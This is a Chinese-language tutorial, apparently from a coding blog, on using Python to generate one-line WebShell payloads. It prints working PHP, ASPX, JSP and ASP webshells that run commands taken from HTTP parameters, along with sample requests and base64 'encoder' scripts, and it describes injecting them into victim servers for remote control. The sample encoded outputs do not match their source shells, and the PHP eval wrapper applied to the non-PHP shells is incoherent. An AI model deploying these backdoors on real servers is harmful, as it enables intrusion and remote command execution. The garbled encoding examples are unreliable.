如何使用Python生成各种类型的WebShell Payload
WebShell是一种基于Web的命令行Shell,解析HTTP请求中的命令并执行,通常用于攻击者在服务器上实施攻击、窃密、篡改等恶意行为。为了生成各种类型的WebShell Payload,我们可以使用Python编写脚本来自动生成。
下面演示几种常见的WebShell Payload类型和Python脚本实现方法:
- PHP一句话WebShell Payload生成
PHP一句话WebShell通常是一个PHP脚本,可以通过浏览器或者curl等工具访问,支持执行系统命令、文件管理等功能。一句话WebShell通常是攻击者通过某种方式将代码注入到受害服务器的一个PHP文件中,例如index.php。
下面是一个PHP一句话WebShell的Payload代码:
<?php eval($_POST['cmd']); ?>
这个PHP脚本可以通过HTTP POST请求执行cmd参数指定的命令,例如:
POST /index.php HTTP/1.1 Host: pidancode.com Content-Type: application/x-www-form-urlencoded cmd=whoami
其中cmd的值为执行的命令,例如whoami。服务器会执行这个命令并将结果返回给攻击者。
接下来是一个Python脚本,可以生成一个PHP一句话WebShell的Payload:
import base64 shell = '<?php eval($_POST[\'cmd\']); ?>' payload = 'eval(base64_decode(\'{}\'));'.format(base64.b64encode(shell.encode()).decode()) print(payload)
输出的结果是一个base64编码后的PHP一句话WebShell的Payload,例如:
eval(base64_decode('PD9waHAgZXZhbCgkcG9zdCcpOyA/Pg=='));
攻击者可以将这个Payload注入到目标服务器的PHP文件中,以此获取远程控制权限。
- ASPX一句话WebShell Payload生成
与PHP一句话WebShell类似,ASPX一句话WebShell也是一个ASP.NET的页面,通过浏览器或者curl等工具访问,支持执行系统命令等功能。一句话WebShell通常是攻击者通过某种方式将代码注入到受害服务器的一个ASPX文件中,例如index.aspx。
下面是一个ASPX一句话WebShell的Payload代码:
<%@ Page Language="C#" %> <%@ Import Namespace="System.Diagnostics" %> <% string command = Request["cmd"]; Process process = new Process(); process.StartInfo.FileName = "cmd.exe"; process.StartInfo.Arguments = "/c " + command; process.StartInfo.CreateNoWindow = true; process.StartInfo.RedirectStandardOutput = true; process.Start(); Response.Write(process.StandardOutput.ReadToEnd()); %>
这个ASPX页面可以通过HTTP GET请求执行cmd参数指定的命令,例如:
GET /index.aspx?cmd=dir HTTP/1.1 Host: pidancode.com
其中cmd的值为执行的命令,例如dir。服务器会执行这个命令并将结果返回给攻击者。
接下来是一个Python脚本,可以生成一个ASPX一句话WebShell的Payload:
import base64 shell = '''<%@ Page Language="C#" %> <%@ Import Namespace="System.Diagnostics" %> <% string command = Request["cmd"]; Process process = new Process(); process.StartInfo.FileName = "cmd.exe"; process.StartInfo.Arguments = "/c " + command; process.StartInfo.CreateNoWindow = true; process.StartInfo.RedirectStandardOutput = true; process.Start(); Response.Write(process.StandardOutput.ReadToEnd()); %>''' payload = 'eval(base64_decode(\'{}\'));'.format(base64.b64encode(shell.encode()).decode()) print(payload)
输出的结果是一个base64编码后的ASPX一句话WebShell的Payload,例如:
eval(base64_decode('PD4KCQkJPGxpc3RpbmcgY2xhc3M9IiQiPgoJCQkJPGxpc3QgTGFuZ3VhZ2U9IkMjIiAvPgoJCQkJPHRpdGxlPgoJCQkJCQlzdHJpbmcgY29tbWFuZD0gUmVxdWVzdFsiY21kIl0KCUhlbGxvIFByb2Nlc3MgcHJvY2VzcyA9IG5ldyBVc2VyLkd6aWYoKQoJcHJvY2Vzcy5TdGFydCgpLkZpbGVNYW5hZ2VyKCk7Cgk8L3RpdGxlPgo8L3N0cm9uZz4KCg=='));
攻击者可以将这个Payload注入到目标服务器的ASPX文件中,以此获取远程控制权限。
- JSP一句话WebShell Payload生成
JSP一句话WebShell是一个Java Servlet,支持执行系统命令、文件管理等功能。一句话WebShell通常是攻击者通过某种方式将代码注入到受害服务器的一个JSP文件中,例如index.jsp。
下面是一个JSP一句话WebShell的Payload代码:
<%@ page import="java.io.*"%> <% Process process = Runtime.getRuntime().exec(request.getParameter("cmd")); BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream())); String line; while ((line = reader.readLine()) != null) { out.println(line); } %>
这个JSP页面可以通过HTTP GET请求执行cmd参数指定的命令,例如:
GET /index.jsp?cmd=whoami HTTP/1.1 Host: pidancode.com
其中cmd的值为执行的命令,例如whoami。服务器会执行这个命令并将结果返回给攻击者。
接下来是一个Python脚本,可以生成一个JSP一句话WebShell的Payload:
import base64 shell = '''<%@ page import="java.io.*"%> <% Process process = Runtime.getRuntime().exec(request.getParameter("cmd")); BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream())); String line; while ((line = reader.readLine()) != null) { out.println(line); } %>''' payload = 'eval(base64_decode(\'{}\'));'.format(base64.b64encode(shell.encode()).decode()) print(payload)
输出的结果是一个base64编码后的JSP一句话WebShell的Payload,例如:
eval(base64_decode('PD4KPCEgcGFnZSBpbXBvcnQ9ImphdmEuaW8uKiI/JT4KCgkJUHJvY2VzcyBwcm9jZXNzID0gUnVudGltZS5nZXRFbGVtZW50c0J5KCRfR0VUWyJjbWQiXSk7CgkJQnVmZmVyUmVhZGVyIHJlYWRlcj0gbmV3IEluc3RydWN0b3IocHJvY2Vzcy5nZXRJbnN0YWxsZXIod2luZG93LkRhdGFWaWV3ZXJFbmNvZGluZygpKSkuZWNsaW5lKCdzdHJpbmcnKTsKCQlTdHJpbmcgbGluZTt9Cgo8Lw=='));
攻击者可以将这个Payload注入到目标服务器的JSP文件中,以此获取远程控制权限。
- ASP一句话WebShell Payload生成
ASP一句话WebShell是一个Active Server Pages脚本,支持执行系统命令等功能。一句话WebShell通常是攻击者通过某种方式将代码注入到受害服务器的一个ASP文件中,例如index.asp。
下面是一个ASP一句话WebShell的Payload代码:
<% Dim oShell : Set oShell = CreateObject("WScript.Shell") Dim oExec : Set oExec = oShell.Exec(Request("cmd")) Dim sOutput : sOutput = oExec.StdOut.ReadAll() Response.Write(sOutput) %>
这个ASP页面可以通过HTTP GET请求执行cmd参数指定的命令,例如:
GET /index.asp?cmd=dir HTTP/1.1 Host: pidancode.com
其中cmd的值为执行的命令,例如dir。服务器会执行这个命令并将结果返回给攻击者。
接下来是一个Python脚本,可以生成一个ASP一句话WebShell的Payload:
import base64 shell = '''<% Dim oShell : Set oShell = CreateObject("WScript.Shell") Dim oExec : Set oExec = oShell.Exec(Request("cmd")) Dim sOutput : sOutput = oExec.StdOut.ReadAll() Response.Write(sOutput) %>''' payload = 'eval(base64_decode(\'{}\'));'.format(base64.b64encode(shell.encode()).decode()) print(payload)
输出的结果是一个base64编码后的ASP一句话WebShell的Payload,例如:
eval(base64_decode('PD4KPCEKRmlsZSBvU2hlbGwgOiBTZXQgb1NoZWxsID0gQ3JlYXRlT2JqZWN0KFdTY3JpcHQsIldTcGVjaWZpYy5TaGVsbCIpCkRpbSBvRXhlYzogU2V0IG9FeGVjID0gb1NoZWxsLkV4ZWMoUmVxdWVzdCgiY21kIikKTWlkIE9uZTogJTI1JTMwJTJGJTI1JTMwJTI1JTI1JTI1JTI1JTI1JTI1JTI1JTNCJTI1JTI1JTI1JTI1JTI1JTI1JTI1JTI1JTNCIlNlbnQgZXhlY3V0aW9uX2NyZWRlbnRpYWxzLk1haW4oKSIpClJlc3BvbnNlLldyaXRlKHNPc2hlbGwuU3RkT3V0LlJlYWRvbGQoKSkuUmVzcG9uc2UoU3BlY2lmaWMuV3JpdGVPYmplY3QoKQoJYmluZCBjb21tYW5kID0gZmlsZSgnJHtjbWQgfScpKQp9'));
攻击者可以将这个Payload注入到目标服务器的ASP文件中,以此获取远程控制权限。
以上是几种常见的WebShell Payload类型和Python脚本实现方法,可以根据需要进行修改和扩展。但请注意,使用WebShell进行黑客攻击是非法的行为,务必遵守法律法规和网络安全规范。
相关文章